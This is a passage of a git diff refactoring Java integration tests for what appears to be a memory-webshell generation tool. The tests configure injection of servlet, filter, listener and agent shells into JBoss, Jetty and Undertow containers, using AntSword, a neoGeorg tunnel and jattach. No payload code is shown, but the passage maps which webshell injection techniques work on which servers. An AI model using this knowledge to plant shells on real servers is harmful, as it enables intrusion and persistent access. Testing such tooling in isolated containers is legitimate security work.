{ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java index 0e2bb2ef..e7ad7440 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap81ContainerTest.java @@ -1,89 +1,56 @@ package com.reajason.javaweb.integration.memshell.jbosseap; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap81ContainerTest { - public static final String imageName = "reajason/jboss:eap-8.1-jdk17"; - static Network network = Network.newNetwork(); +public class JbossEap81ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "reajason/jboss:eap-8.1-jdk17", + "/usr/local/jboss/standalone/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not support jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index c1eb9af4..bb41d35c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -1,90 +1,55 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty10ContainerTest { - public static final String imageName = "jetty:10-jre11"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty10ContainerTest extends AbstractContainerTest { + + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("jetty:10-jre11") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V11) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index 6bd22172..7109130a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -1,92 +1,60 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty11ContainerTest { - public static final String imageName = "jetty:11.0-jre17"; - static Network network = Network.newNetwork(); +public class Jetty11ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("jetty:11.0-jre17") + .warFile(warJakartaFile) + .serverVersion("7+") + .jakarta(true) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.CUSTOMIZER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER, - ShellType.CUSTOMIZER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER, - ShellType.CUSTOMIZER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index 055f0a76..52578fab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -1,90 +1,59 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee10ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee10"; - static Network network = Network.newNetwork(); +public class Jetty12ee10ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:12.0-jre21-ee10") + .warFile(warJakartaFile) + .jakarta(true) + .serverVersion("12") + .targetJdkVersion(Opcodes.V21) + .probeTargetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java index 038ea252..15a9a106 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -1,91 +1,59 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason - * @since 2025/11/11 + * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee11ContainerTest { - public static final String imageName = "reajason/jetty:12.1-jre21-ee11"; - static Network network = Network.newNetwork(); +public class Jetty12ee11ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:12.1-jre21-ee11") + .warFile(warJakartaFile) + .jakarta(true) + .serverVersion("12") + .targetJdkVersion(Opcodes.V21) + .probeTargetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 354196dc..c7bf4a70 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -1,88 +1,53 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee8ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty12ee8ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:12.0-jre21-ee8") + .serverVersion("12") + .targetJdkVersion(Opcodes.V21) + .probeTargetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index c5253b22..26c6fde2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -1,90 +1,59 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee9ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee9"; - static Network network = Network.newNetwork(); +public class Jetty12ee9ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:12.0-jre21-ee9") + .warFile(warJakartaFile) + .jakarta(true) + .serverVersion("12") + .targetJdkVersion(Opcodes.V21) + .probeTargetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + 